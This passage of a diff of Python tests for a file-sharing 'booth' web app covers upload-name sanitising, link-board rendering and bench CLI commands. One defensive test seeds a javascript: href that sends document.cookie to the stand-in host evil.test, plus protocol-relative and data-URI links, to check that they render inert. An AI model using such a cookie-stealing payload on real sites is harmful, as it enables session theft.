name = safe_upload_name("a" * 196 + ".png" + "x" * 17, "fb")
|
||||
assert classify(name) == "other" and doc_kind(name) is None
|
||||
assert name == "a" * 196 + "_png"
|
||||
|
||||
|
||||
def test_safe_upload_name_drops_every_unencodable_character_before_the_dot_rule():
|
||||
# a lone surrogate is dropped too, and it must go FIRST like the NUL: dropped
|
||||
# last, it shielded the dot and `.forever` came out, which is the keep marker
|
||||
assert safe_upload_name("\ud800.forever", "fb") == "forever"
|
||||
assert safe_upload_name("\ud800..", "fb") == "fb"
|
||||
|
||||
|
||||
def _upload(client, files):
|
||||
return client.post("/upload", files=files, follow_redirects=False)
|
||||
|
||||
@@ -386,6 +429,30 @@ def test_upload_sanitizes_traversal(client):
|
||||
assert not (data.parent / "passwd").exists() # nothing escaped upward
|
||||
|
||||
|
||||
def test_upload_a_nul_in_a_filename_never_500s(client):
|
||||
# A RAW body: httpx percent-escapes a NUL in `files=` (the server then sees
|
||||
# a literal "%00" and the test proves nothing). A NUL reached open() and
|
||||
# raised ValueError, a 500 with the booth torn down.
|
||||
c, data = client
|
||||
body = (b'--XyZ\r\nContent-Disposition: form-data; name="files"; filename="a\x00b.png"\r\n'
|
||||
b"Content-Type: image/png\r\n\r\npng\r\n--XyZ--\r\n")
|
||||
r = c.post("/upload", content=body, follow_redirects=False,
|
||||
headers={"content-type": "multipart/form-data; boundary=XyZ"})
|
||||
assert r.status_code == 303, r.text
|
||||
booth = data / r.headers["location"].split("/b/")[1].rstrip("/")
|
||||
assert (booth / "ab.png").read_bytes() == b"png"
|
||||
|
||||
|
||||
def test_upload_a_name_over_name_max_in_bytes_never_500s(client):
|
||||
# 200 two-byte characters pass a 200-CHARACTER cap and overrun NAME_MAX
|
||||
# (255 bytes): ENAMETOOLONG at open(), a 500 with the booth torn down
|
||||
c, data = client
|
||||
r = _upload(c, [("files", ("é" * 200 + ".txt", b"long", "text/plain"))])
|
||||
assert r.status_code == 303, r.text
|
||||
booth = data / r.headers["location"].split("/b/")[1].rstrip("/")
|
||||
assert (booth / ("é" * 98 + ".txt")).read_bytes() == b"long"
|
||||
|
||||
|
||||
def test_upload_rejects_too_many_files(tmp_path):
|
||||
app = create_app(tmp_path, start_sweeper=False, max_files=2)
|
||||
c = TestClient(app)
|
||||
@@ -459,58 +526,21 @@ def test_view_nonviewable_redirects_to_raw(client):
|
||||
assert r.headers["location"] == "/b/run1/data.bin"
|
||||
|
||||
|
||||
# ---- verbatim-index.html wrapper --------------------------------------------
|
||||
# ---- verbatim-index.html serving -------------------------------------------
|
||||
#
|
||||
# U3 replaced the injection wrapper with a declared seam. The five `test_wrap_*`
|
||||
# tests and `test_verbatim_booth_wrapped_with_back_chip` that stood here tested
|
||||
# `wrap_verbatim_html` — six regexes hunting a head-ish seam for a favicon and a
|
||||
# body-ish seam for a chip, plus the doctype and charset-window constraints they
|
||||
# threaded. None of those constraints can be violated by an append, so there is
|
||||
# nothing left of them to assert. What replaced them lives in tests/test_embed.py
|
||||
# (the payload, the one appended tag, whole-body equality for a declaring page)
|
||||
# and tests/test_embed_browser.py (the mount, in a real DOM).
|
||||
#
|
||||
# What stays here is what did NOT change: the file route is still raw.
|
||||
|
||||
|
||||
def test_wrap_injects_chip_and_favicon():
|
||||
html = "<html><head><title>Brief</title></head><body><h1>REPORT</h1></body></html>"
|
||||
out = wrap_verbatim_html(html)
|
||||
assert 'class="booth-nav-home"' in out # floating back chip
|
||||
assert 'href="/"' in out # points at the main booth index
|
||||
assert "all booths" in out
|
||||
assert FAVICON_LINK in out # favicon inherited
|
||||
assert "<h1>REPORT</h1>" in out # original content preserved
|
||||
# favicon lands in the head, chip lands in the body
|
||||
assert out.index(FAVICON_LINK) < out.index("</head>")
|
||||
assert out.index("booth-nav-home") > out.index("<body>")
|
||||
|
||||
|
||||
def test_wrap_respects_existing_favicon():
|
||||
html = '<html><head><link rel="icon" href="data:image/png;base64,AAAA"></head><body>x</body></html>'
|
||||
out = wrap_verbatim_html(html)
|
||||
assert FAVICON_LINK not in out # the page's own icon wins
|
||||
assert out.count('rel="icon"') == 1
|
||||
assert 'class="booth-nav-home"' in out # chip is still added
|
||||
|
||||
|
||||
def test_wrap_bare_fragment_appends_chip():
|
||||
out = wrap_verbatim_html("<h1>bare fragment</h1>") # no doctype/head/body
|
||||
assert 'class="booth-nav-home"' in out
|
||||
assert out.rstrip().endswith("</style>") # chip appended at the end
|
||||
assert FAVICON_LINK in out # no doctype -> safe to prepend the icon
|
||||
assert out.index(FAVICON_LINK) < out.index("bare") # icon ahead of content (implied head)
|
||||
|
||||
|
||||
def test_wrap_no_head_injects_favicon():
|
||||
out = wrap_verbatim_html("<body><h1>no head</h1></body>")
|
||||
assert 'class="booth-nav-home"' in out
|
||||
assert FAVICON_LINK in out # injected even without an explicit <head>
|
||||
|
||||
|
||||
def test_wrap_compact_doctype_stays_first():
|
||||
# the real-booth shape: compact HTML, no explicit head/body. The injection must
|
||||
# not push anything ahead of the doctype (quirks mode) or past the charset window.
|
||||
html = "<!doctype html><meta charset=utf-8><title>T</title><style>body{margin:0}</style><h1>REPORT</h1>"
|
||||
out = wrap_verbatim_html(html)
|
||||
assert out.lstrip().lower().startswith("<!doctype") # doctype still first -> standards mode
|
||||
assert FAVICON_LINK in out
|
||||
assert out.index(FAVICON_LINK) < out.index("<h1>") # icon in the implied head, before content
|
||||
assert out.index("charset") < 1024 # charset meta stays in the detection window
|
||||
assert 'class="booth-nav-home"' in out
|
||||
assert out.index("booth-nav-home") > out.index("<h1>REPORT</h1>") # chip appended after content
|
||||
|
||||
|
||||
def test_verbatim_booth_wrapped_with_back_chip(client):
|
||||
def test_verbatim_booth_is_served_with_the_seam(client):
|
||||
c, data = client
|
||||
d = data / "brief"
|
||||
d.mkdir()
|
||||
@@ -518,13 +548,11 @@ def test_verbatim_booth_wrapped_with_back_chip(client):
|
||||
r = c.get("/b/brief/")
|
||||
assert r.status_code == 200
|
||||
assert "BRIEF" in r.text # content preserved
|
||||
assert 'class="booth-nav-home"' in r.text # back chip injected
|
||||
assert 'href="/"' in r.text
|
||||
assert 'rel="icon"' in r.text # favicon inherited
|
||||
assert r.text.endswith(EMBED_SCRIPT_TAG) # ...and the seam, appended
|
||||
|
||||
|
||||
def test_verbatim_index_raw_file_route_unwrapped(client):
|
||||
# the file route (/b/<name>/index.html) still serves the raw bytes — the chip
|
||||
# the file route (/b/<name>/index.html) still serves the raw bytes — the seam
|
||||
# only rides on the booth view (/b/<name>/), so downloads/assets stay verbatim
|
||||
c, data = client
|
||||
d = data / "brief"
|
||||
@@ -532,7 +560,7 @@ def test_verbatim_index_raw_file_route_unwrapped(client):
|
||||
(d / "index.html").write_text("<html><body><h1>BRIEF</h1></body></html>")
|
||||
r = c.get("/b/brief/index.html")
|
||||
assert r.status_code == 200
|
||||
assert "booth-nav-home" not in r.text
|
||||
assert "_booth/embed.js" not in r.text
|
||||
|
||||
|
||||
# ---- .md / .txt in-booth doc viewer -----------------------------------------
|
||||
@@ -811,7 +839,13 @@ def test_sentinel_is_not_counted_as_an_item(tmp_path):
|
||||
assert booth["count"] == 1
|
||||
|
||||
|
||||
def test_index_separates_kept_from_ephemeral(client):
|
||||
def test_index_marks_kept_on_the_row_instead_of_a_lane(client):
|
||||
"""R2 C4 (docs/contracts/r2_flow.contract.md, "Assertions that change").
|
||||
This test used to require a kept LANE rendered before the ephemeral grid.
|
||||
The Desk removed the lanes — 23 of 24 live booths were kept, so they sorted
|
||||
nothing — and orders by what needs the operator instead (tested in
|
||||
tests/test_flow.py). What survives is the fact: a kept booth still says it
|
||||
is kept, on its own row."""
|
||||
c, data = client
|
||||
_touch(data / "scratch" / "a.png")
|
||||
_touch(data / "links" / "a.png")
|
||||
@@ -819,14 +853,9 @@ def test_index_separates_kept_from_ephemeral(client):
|
||||
|
||||
html = c.get("/").text
|
||||
|
||||
# Assert on the lane's markup, not on the word "Kept" — that string also
|
||||
# appears in the stylesheet comment that is served on every page, so a bare
|
||||
# substring check passes for the wrong reason.
|
||||
assert 'class="grid kept-grid"' in html, "kept booths need their own lane"
|
||||
assert 'class="card card-kept"' in html
|
||||
# The kept lane is rendered before the ephemeral grid, so the operator sees
|
||||
# durable boards first rather than hunting for them among the churn.
|
||||
assert html.index("links") < html.index("scratch")
|
||||
assert 'data-booth="links" data-kept="1"' in html
|
||||
assert 'data-booth="scratch" data-kept="0"' in html
|
||||
assert 'class="grid kept-grid"' not in html, "no lane: kept is a fact, not a grouping"
|
||||
|
||||
|
||||
def test_kept_booth_shows_kept_instead_of_a_countdown(client):
|
||||
@@ -1632,3 +1661,188 @@ def test_the_dur_filter_survives_the_custom_environment(tmp_path):
|
||||
|
||||
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
|
||||
assert app.state.templates.env.filters["dur"](3600) == "1h"
|
||||
|
||||
|
||||
def test_the_link_board_refuses_to_render_a_script_href(tmp_path):
|
||||
"""A LIVE INJECTION VECTOR, found by design-dev on the way past R2.
|
||||
|
||||
17 agent handles append to the standing board and the operator clicks its
|
||||
rows. `booth_target`'s http(s) check is about WHICH BOOTH a url names, not
|
||||
about whether an href is safe to render, and nothing guarded the render.
|
||||
|
||||
⚠ The first check of this nearly dismissed it: `javascript:alert(1)` IS
|
||||
rejected — by the markdown link regex, because the parens break `](...)`.
|
||||
That is an accident, not a guard, and a paren-free payload sails through.
|
||||
|
||||
The row still RENDERS, because the operator should see that something was
|
||||
posted and refused; it just must not be a link."""
|
||||
b = tmp_path / "links"
|
||||
b.mkdir()
|
||||
b.joinpath("links.md").write_text(
|
||||
"- [steal it](javascript:document.location='http://evil.test/'+document.cookie)"
|
||||
" <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||||
"- [protocol relative](//evil.test/x) <sub>· rogue · 2026-09-23 10:01</sub>\n"
|
||||
"- [data uri](data:text/html,xss) <sub>· rogue · 2026-09-23 10:02</sub>\n"
|
||||
"- [legitimate](https://ok.test/r) <sub>· fine · 2026-09-23 10:03</sub>\n"
|
||||
)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/links/").text
|
||||
|
||||
assert 'href="https://ok.test/r"' in html, "a good row must still be a link"
|
||||
for bad in ("javascript:", "//evil.test/x", "data:text/html"):
|
||||
assert f'href="{bad}' not in html, f"{bad} rendered as an href"
|
||||
# refused, not hidden: the operator sees that it was posted
|
||||
assert "evil.test" in html, "the refused row vanished instead of being shown inert"
|
||||
|
||||
|
||||
def test_the_board_delete_dialog_cannot_be_rewritten_by_a_link_row(tmp_path):
|
||||
"""A board row's description and URL come from any of seventeen agent
|
||||
handles, and they are pasted into a `confirm()` dialog — which is the text
|
||||
the operator reads before approving a delete.
|
||||
|
||||
Escaping protects the PAGE and does nothing here: `confirm` renders a plain
|
||||
string, so a bidi override (U+202E) or a newline re-orders or hides what he
|
||||
is consenting to, and the row shown is not the row removed.
|
||||
|
||||
Found by design-dev, the same class as the wipe dialog he had just fixed on
|
||||
the Desk. Defeating change: dropping `shown()` from either argument."""
|
||||
b = tmp_path / "links"
|
||||
b.mkdir()
|
||||
b.joinpath("links.md").write_text(
|
||||
"- [innocentgnihtemos esle](https://ok.test/a) <sub>· rogue · 2026-09-23 10:00</sub>\n"
|
||||
)
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
html = c.get("/b/links/").text
|
||||
|
||||
assert "function shown(" in html, "the dialog sanitiser is gone"
|
||||
# both arguments must go through it, not just one
|
||||
assert "shown(btn.getAttribute('data-desc')" in html
|
||||
assert "shown(btn.getAttribute('data-url')" in html
|
||||
|
||||
|
||||
def test_booth_blur_composes_with_per_item_and_never_overrides_it(tmp_path):
|
||||
"""The operator ruled booth-level blur in; design-dev specced the semantics
|
||||
and this is the half that is ours.
|
||||
|
||||
COMPOSES, never overrides: an item is blurred iff the booth is blurred OR it
|
||||
is in `.blurred`. Turning booth blur off must leave an agent's per-item
|
||||
choice exactly as the poster left it — an override would need a per-item
|
||||
"unblurred" exception list, which is state nobody can see.
|
||||
|
||||
Defeating change: assigning `Item.blurred` from the booth flag instead of
|
||||
OR-ing it."""
|
||||
from booth.app import set_blurred, set_booth_blurred
|
||||
from booth.items import booth_items
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
for n in ("a.png", "b.png", "c.mp3"):
|
||||
(b / n).write_bytes(b"x")
|
||||
set_blurred(b, "b.png", True)
|
||||
|
||||
def state():
|
||||
return {i.rel: i.blurred for i in booth_items(b)}
|
||||
|
||||
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}
|
||||
|
||||
set_booth_blurred(b, True)
|
||||
# audio has nothing to hide from a glance
|
||||
assert state() == {"a.png": True, "b.png": True, "c.mp3": False}
|
||||
|
||||
set_booth_blurred(b, False)
|
||||
assert state() == {"a.png": False, "b.png": True, "c.mp3": False}, \
|
||||
"unfogging the booth erased the poster's per-item blur"
|
||||
|
||||
|
||||
def test_an_unreadable_booth_blur_marker_fogs_rather_than_reveals(tmp_path, monkeypatch):
|
||||
"""`is_kept` fails toward KEEPING because a failed read must not authorise a
|
||||
delete. This fails toward HIDING, because a failed read must not reveal
|
||||
something the poster asked to fog. Same shape, inverted safety, and the
|
||||
inversion is the point.
|
||||
|
||||
Defeating change: `except OSError: return False`."""
|
||||
import booth.items as items_mod
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
|
||||
real = pathlib.Path.lstat
|
||||
|
||||
def boom(self, *a, **k):
|
||||
if self.name == items_mod.BOOTH_BLUR_FILE:
|
||||
raise PermissionError(13, "nope")
|
||||
return real(self, *a, **k)
|
||||
|
||||
monkeypatch.setattr(pathlib.Path, "lstat", boom)
|
||||
assert items_mod.is_booth_blurred(b) is True
|
||||
|
||||
|
||||
def test_the_blurbooth_route_toggles_and_lands_back(tmp_path):
|
||||
"""The POST target design-dev's header control needs, with `back=view` so
|
||||
fogging from the review does not eject you from the review."""
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
(b / "a.png").write_bytes(b"x")
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
|
||||
r = c.post("/b/g/blurbooth", data={"on": "1"}, follow_redirects=False)
|
||||
assert r.status_code == 303 and r.headers["location"] == "/b/g/"
|
||||
assert (b / ".blurbooth").exists()
|
||||
|
||||
r = c.post("/b/g/blurbooth", data={"on": "1", "back": "a.png"}, follow_redirects=False)
|
||||
assert r.headers["location"] == "/b/g/view?f=a.png"
|
||||
|
||||
c.post("/b/g/blurbooth", data={"on": "0"}, follow_redirects=False)
|
||||
assert not (b / ".blurbooth").exists()
|
||||
|
||||
|
||||
def test_every_booth_can_state_when_it_was_made(tmp_path):
|
||||
"""The operator asked for creation dates. `.booth.json`'s declared
|
||||
`created` only exists for booths posted through the CLI since U5 — twelve
|
||||
of thirty live booths had none — and every alternative was a guess wearing
|
||||
a fact's clothes: oldest content mtime is wrong the moment an agent copies
|
||||
files with timestamps preserved, and directory mtime just means "last thing
|
||||
added".
|
||||
|
||||
ext4 records a real birth time and `statx` reads it, so this is a FACT the
|
||||
disk already holds. ONE rule for every booth, manifest or not.
|
||||
|
||||
Defeating change: falling back to `stat().st_mtime`, which changes every
|
||||
time a file lands and would show a week-old booth as created five minutes
|
||||
ago."""
|
||||
import time
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
made = time.time()
|
||||
(b / "a.png").write_bytes(b"x")
|
||||
|
||||
rows = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}
|
||||
row = rows["g"]
|
||||
assert row["created_at"] is not None, "no creation time for a fresh booth"
|
||||
assert abs(row["created_at"] - made) < 10
|
||||
|
||||
# and it must NOT move when content lands later
|
||||
time.sleep(1.1)
|
||||
(b / "b.png").write_bytes(b"y")
|
||||
again = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}["g"]
|
||||
assert again["created_at"] == row["created_at"], \
|
||||
"the creation time moved when a file was added — that is `updated`, not `created`"
|
||||
assert again["landed_at"] > row["landed_at"], "`updated` did not move"
|
||||
|
||||
|
||||
def test_a_filesystem_with_no_birth_time_shows_nothing(tmp_path, monkeypatch):
|
||||
"""None renders as nothing, which is the honest output when nobody knows —
|
||||
tmpfs, NFS and some overlayfs do not record a birth time, and an old kernel
|
||||
has no `statx` at all.
|
||||
|
||||
Defeating change: substituting any mtime when birth_time returns None."""
|
||||
import booth.app as app_mod
|
||||
|
||||
b = tmp_path / "g"
|
||||
b.mkdir()
|
||||
(b / "a.png").write_bytes(b"x")
|
||||
monkeypatch.setattr(app_mod, "birth_time", lambda p: None)
|
||||
|
||||
row = {r["name"]: r for r in list_booths(tmp_path, ttl_seconds=86400)}["g"]
|
||||
assert row["created_at"] is None
|
||||
|
||||
@@ -346,3 +346,359 @@ def test_answer_does_not_poll_forever_on_a_pick_that_cannot_be_answered(tmp_path
|
||||
"BOOTH_URL": "http://booth.invalid"})
|
||||
assert r.returncode != 0
|
||||
assert "broken" in r.stderr.lower() or "cannot" in r.stderr.lower()
|
||||
|
||||
|
||||
# ---- U6: benches ------------------------------------------------------------
|
||||
#
|
||||
# The CLI half of the unit. `docs/contracts/u6_benches.contract.md`.
|
||||
|
||||
REFUSED = 2
|
||||
|
||||
# Shared with tests/test_benches.py::BOOTH_URL_TABLE — INV-2 says ONE predicate
|
||||
# decides what a booth URL is, and these are the rows the CLI must agree on.
|
||||
# A second `/b/` check inlined in the shell for speed goes red HERE.
|
||||
from test_benches import BOOTH_URL_TABLE # noqa: E402
|
||||
from booth.benches import normalize_bench_url as normalize_bench_url_cli # noqa: E402
|
||||
|
||||
|
||||
@pytest.mark.parametrize("url,is_booth", [(u, e is not None) for u, e in BOOTH_URL_TABLE])
|
||||
def test_link_refuses_exactly_what_booth_target_matches(booth, url, is_booth):
|
||||
"""INV-2. Defeating change: a `case "$url" in *':8090/b/'*)` in the shell,
|
||||
which would classify the host-agnostic and percent-encoded rows differently
|
||||
from the Python predicate the board's dead marker uses."""
|
||||
data, _ = booth
|
||||
r = run(data, "link", url, "a description")
|
||||
assert (r.returncode == REFUSED) is is_booth, (url, r.returncode, r.stderr)
|
||||
|
||||
|
||||
def test_a_refused_link_writes_nothing_at_all(booth):
|
||||
"""INV-3. Defeating change: putting the refusal AFTER the `mkdir -p` /
|
||||
announce block, which is where it would naturally land if written without
|
||||
thinking. Asserting only that links.md lacks the row would PASS under that
|
||||
change — so this asserts the board directory does not exist."""
|
||||
data, _ = booth
|
||||
board = data / "links"
|
||||
assert not board.exists()
|
||||
before = sorted(p.name for p in data.iterdir())
|
||||
r = run(data, "link", "http://10.100.10.50:8090/b/some-booth/", "nope")
|
||||
assert r.returncode == REFUSED
|
||||
assert not board.exists(), "a refused link created the board directory"
|
||||
# NOTHING AT ALL, not just no board. Asserting only `links/`'s absence let
|
||||
# a refusal that touched `.benches.lock` (or any other sidecar) on its way
|
||||
# out stay green — the cold panel's vacuity pass named exactly that.
|
||||
assert sorted(p.name for p in data.iterdir()) == before, "a refused link wrote something"
|
||||
|
||||
|
||||
def test_the_refusal_names_the_alternative(booth):
|
||||
"""The teaching moment belongs at the point of use: 17 handles have the
|
||||
muscle memory, and a bare 'refused' sends them to a human."""
|
||||
data, _ = booth
|
||||
r = run(data, "link", "http://10.100.10.50:8090/b/some-booth/", "nope")
|
||||
out = r.stderr + r.stdout
|
||||
assert "--why" in out and "some-booth" in out
|
||||
|
||||
|
||||
def test_a_reference_bookmark_is_still_a_link(booth):
|
||||
"""The board keeps its residual job. Measured: ~14 of the 35 distinct
|
||||
non-booth targets are repos, model cards and docs, for which the board is
|
||||
the right and only home. A second refusal would break that."""
|
||||
data, _ = booth
|
||||
r = run(data, "link", "https://gitea.phasefinal.com/vh/peedlar", "the repo")
|
||||
assert r.returncode == OK, r.stderr
|
||||
assert "the repo" in (data / "links" / "links.md").read_text()
|
||||
|
||||
|
||||
def test_bench_add_is_an_upsert(booth):
|
||||
data, _ = booth
|
||||
for i in range(3):
|
||||
r = run(data, "bench", "add", "https://talk.nh3.phasefinal.com:8092/", f"talk v{i}")
|
||||
assert r.returncode == OK, r.stderr
|
||||
r = run(data, "bench", "ls")
|
||||
assert r.returncode == OK, r.stderr
|
||||
assert r.stdout.count("talk v") == 1 and "talk v2" in r.stdout
|
||||
# THE ID, WHOLE AND UNTRUNCATED, because it is the locator `bench state`
|
||||
# and `bench rm` take. An earlier version of this test had a docstring
|
||||
# claiming `bench ls` prints ids and asserted nothing of the kind, while
|
||||
# the code printed a url truncated to 52 columns — a claim standing in for
|
||||
# evidence, which is how the drift would have survived CI. Found by all
|
||||
# four cold arms independently.
|
||||
bid = normalize_bench_url_cli("https://talk.nh3.phasefinal.com:8092/")
|
||||
assert bid in r.stdout, r.stdout
|
||||
# and what ls prints is addressable, end to end
|
||||
line = [l for l in r.stdout.splitlines() if "talk v2" in l][0]
|
||||
printed_id = line.split()[-1]
|
||||
assert run(data, "bench", "state", printed_id, "promoted").returncode == OK
|
||||
|
||||
|
||||
def test_bench_verbs_round_trip(booth):
|
||||
data, _ = booth
|
||||
assert run(data, "bench", "add", "http://x.test/", "ex").returncode == OK
|
||||
assert run(data, "bench", "state", "http://x.test/", "promoted").returncode == OK
|
||||
assert "promoted" in run(data, "bench", "ls").stdout
|
||||
assert run(data, "bench", "rm", "http://x.test/").returncode == OK
|
||||
assert "ex" not in run(data, "bench", "ls").stdout
|
||||
|
||||
|
||||
def test_bench_state_and_rm_take_an_id_or_a_url(booth):
|
||||
"""`bench ls` prints ids; the operator has the URL. BOTH must address.
|
||||
|
||||
This used to invoke both verbs with the URL only, twice, while its docstring
|
||||
claimed it covered the id — the same claim-not-evidence shape as the `ls`
|
||||
docstring. A raw URL whose normalization DIFFERS from it is used, so the two
|
||||
columns are genuinely distinct inputs. Cold panel, regin F8.
|
||||
"""
|
||||
data, _ = booth
|
||||
raw = "HTTP://X.Test:80/p/?b=2&a=1#frag"
|
||||
bid = normalize_bench_url_cli(raw)
|
||||
assert bid != raw, "pick a URL whose normalization actually differs"
|
||||
run(data, "bench", "add", raw, "ex")
|
||||
# by the ID the registry stores
|
||||
assert run(data, "bench", "state", bid, "retired").returncode == OK
|
||||
assert "retired" in run(data, "bench", "ls").stdout
|
||||
# and by the RAW URL the operator has in their scrollback
|
||||
assert run(data, "bench", "state", raw, "live").returncode == OK
|
||||
assert "live" in run(data, "bench", "ls").stdout
|
||||
assert run(data, "bench", "rm", raw).returncode == OK
|
||||
run(data, "bench", "add", raw, "ex again")
|
||||
assert run(data, "bench", "rm", bid).returncode == OK
|
||||
assert "ex" not in run(data, "bench", "ls").stdout
|
||||
|
||||
|
||||
def test_bench_add_refuses_a_bad_url_with_the_reason(booth):
|
||||
data, _ = booth
|
||||
r = run(data, "bench", "add", "ftp://x.test/f", "ex")
|
||||
assert r.returncode != OK
|
||||
assert "http" in (r.stderr + r.stdout).lower()
|
||||
|
||||
|
||||
def test_bare_bench_names_the_bench_verbs(booth):
|
||||
"""Seam review SR-6: `bench` is the first two-word verb in this script, and
|
||||
falling through to the generic usage hides which word was wrong."""
|
||||
data, _ = booth
|
||||
r = run(data, "bench")
|
||||
assert r.returncode != OK
|
||||
assert "add" in r.stderr and "import" in r.stderr
|
||||
|
||||
|
||||
def _seed_board(data):
|
||||
board = data / "links"
|
||||
board.mkdir(parents=True, exist_ok=True)
|
||||
(board / "links.md").write_text(
|
||||
"- [a booth](http://10.100.10.50:8090/b/gone/) <sub>· x · 2026-09-01 00:00</sub>\n"
|
||||
"- [talk](https://talk.nh3.phasefinal.com:8092/) <sub>· x · 2026-09-01 00:00</sub>\n"
|
||||
"- [talk again](https://talk.nh3.phasefinal.com:8092/) <sub>· x · 2026-09-02 00:00</sub>\n"
|
||||
"- [a repo](https://gitea.phasefinal.com/vh/peedlar) <sub>· x · 2026-09-03 00:00</sub>\n"
|
||||
"- [bad](ftp://x.test/f) <sub>· x · 2026-09-04 00:00</sub>\n"
|
||||
)
|
||||
return board
|
||||
|
||||
|
||||
def test_import_writes_nothing_without_apply(booth):
|
||||
"""INV-8. A proposal that writes is not a proposal."""
|
||||
data, _ = booth
|
||||
board = _seed_board(data)
|
||||
before = (board / "links.md").read_text()
|
||||
r = run(data, "bench", "import")
|
||||
assert r.returncode == OK, r.stderr
|
||||
assert not (data / ".benches.json").exists()
|
||||
assert (board / "links.md").read_text() == before
|
||||
|
||||
|
||||
def test_import_classifies_into_three_groups(booth):
|
||||
data, _ = booth
|
||||
_seed_board(data)
|
||||
out = run(data, "bench", "import").stdout
|
||||
assert "gone" in out # the booth row, skipped
|
||||
assert "talk" in out # a candidate
|
||||
assert "ftp://x.test/f" in out # refused, with its reason
|
||||
# THE RAW URL BESIDE THE NORMALIZED ID, which is the entire point of the
|
||||
# proposal: five rows of `talk` collapsing to one is only checkable if you
|
||||
# can see which raw URLs produced the one id. This printed the description
|
||||
# instead, so the collapse was invisible in the one place it had to be
|
||||
# visible. All four cold arms found it.
|
||||
assert out.count("https://talk.nh3.phasefinal.com:8092/") >= 2, out
|
||||
|
||||
|
||||
def test_bare_apply_refuses_and_writes_nothing(booth):
|
||||
"""THE SELECTION GAP — all four cold contract-review arms, independently.
|
||||
|
||||
`--apply` used to register every candidate, while the same contract says
|
||||
roughly 14 of 35 are reference bookmarks that must STAY on the board. That
|
||||
made the write path do the exact thing the unit's own rationale calls
|
||||
impossible — tell a bench from a bookmark by its URL — silently, to rows
|
||||
that belong where they are. The dry-run prints ids; `--apply` takes the
|
||||
ones the operator names, and refuses without them.
|
||||
|
||||
Defeating change: restoring the register-everything branch."""
|
||||
data, _ = booth
|
||||
_seed_board(data)
|
||||
r = run(data, "bench", "import", "--apply")
|
||||
assert r.returncode == REFUSED
|
||||
assert "needs the ids" in r.stderr
|
||||
assert not (data / ".benches.json").exists(), "a bare --apply wrote the registry"
|
||||
|
||||
|
||||
def test_apply_refuses_an_id_that_is_not_a_candidate(booth):
|
||||
data, _ = booth
|
||||
_seed_board(data)
|
||||
r = run(data, "bench", "import", "--apply", "http://not-on-the-board/")
|
||||
assert r.returncode == REFUSED
|
||||
assert "not a candidate id" in r.stderr
|
||||
assert not (data / ".benches.json").exists()
|
||||
|
||||
|
||||
def test_apply_registers_ONLY_the_named_ids(booth):
|
||||
"""The bookmark stays a bookmark unless the operator says otherwise."""
|
||||
data, _ = booth
|
||||
_seed_board(data)
|
||||
talk = normalize_bench_url_cli("https://talk.nh3.phasefinal.com:8092/")
|
||||
assert run(data, "bench", "import", "--apply", talk).returncode == OK
|
||||
ls = run(data, "bench", "ls").stdout
|
||||
assert "peedlar" not in ls, "an unnamed candidate was registered anyway"
|
||||
assert len([l for l in ls.splitlines() if "talk" in l]) == 1
|
||||
|
||||
|
||||
def test_import_apply_collapses_the_repost(booth):
|
||||
data, _ = booth
|
||||
_seed_board(data)
|
||||
talk = normalize_bench_url_cli("https://talk.nh3.phasefinal.com:8092/")
|
||||
repo = normalize_bench_url_cli("https://gitea.phasefinal.com/vh/peedlar")
|
||||
assert run(data, "bench", "import", "--apply", talk, repo).returncode == OK
|
||||
ls = run(data, "bench", "ls").stdout
|
||||
# ONE ROW, counted by line: "talk" appears in both the name and the
|
||||
# hostname, so a substring count would read 2 for a correctly collapsed row.
|
||||
assert len([l for l in ls.splitlines() if "talk" in l]) == 1, ls
|
||||
assert "peedlar" in ls
|
||||
assert "gone" not in ls, "a booth row was imported as a bench"
|
||||
|
||||
|
||||
def test_nothing_in_the_unit_touches_links_md(booth):
|
||||
"""INV-8. Defeating change: `import --apply` tidying up the rows it
|
||||
consumed. The whole CLI surface runs against one board and the file must
|
||||
come out byte-identical."""
|
||||
import hashlib
|
||||
data, _ = booth
|
||||
board = _seed_board(data)
|
||||
before = hashlib.sha256((board / "links.md").read_bytes()).hexdigest()
|
||||
run(data, "link", "http://10.100.10.50:8090/b/x/", "refused")
|
||||
run(data, "bench", "import")
|
||||
run(data, "bench", "import", "--apply") # refused, writes nothing
|
||||
run(data, "bench", "import", "--apply",
|
||||
normalize_bench_url_cli("https://talk.nh3.phasefinal.com:8092/"))
|
||||
run(data, "bench", "add", "http://new.test/", "new")
|
||||
run(data, "bench", "state", "http://new.test/", "retired")
|
||||
run(data, "bench", "ls") # a read verb can truncate too
|
||||
run(data, "bench", "rm", "http://new.test/")
|
||||
after = hashlib.sha256((board / "links.md").read_bytes()).hexdigest()
|
||||
assert before == after
|
||||
|
||||
|
||||
def test_link_fails_CLOSED_when_the_booth_check_cannot_run(booth, tmp_path):
|
||||
"""A guard that fails open is not a guard. If `booth.links` cannot be
|
||||
imported, `booth link` must post NOTHING and say why — not append the row
|
||||
it could not classify, and not abort with a bare traceback.
|
||||
|
||||
Defeating change: dropping the `|| pred_rc=$?` handling, which under
|
||||
`set -e` aborts with a Python traceback (safe, but unactionable), or
|
||||
treating a failed check as "not a booth" (unsafe — fails open)."""
|
||||
data, _ = booth
|
||||
lone = tmp_path / "lone" / "scripts"
|
||||
lone.mkdir(parents=True)
|
||||
(lone / "booth").write_text(SCRIPT.read_text())
|
||||
(lone / "booth").chmod(0o755)
|
||||
r = subprocess.run([str(lone / "booth"), "link", "https://ok.test/x", "a bookmark"],
|
||||
capture_output=True, text=True, cwd="/tmp", timeout=30,
|
||||
env={**os.environ, "BOOTH_DATA_DIR": str(data),
|
||||
"BOOTH_URL": "http://booth.invalid"})
|
||||
assert r.returncode != OK
|
||||
assert "could not check" in r.stderr, r.stderr
|
||||
assert not (data / "links" / "links.md").exists(), "a row landed despite an unusable check"
|
||||
|
||||
|
||||
def test_a_credential_never_reaches_the_board(booth):
|
||||
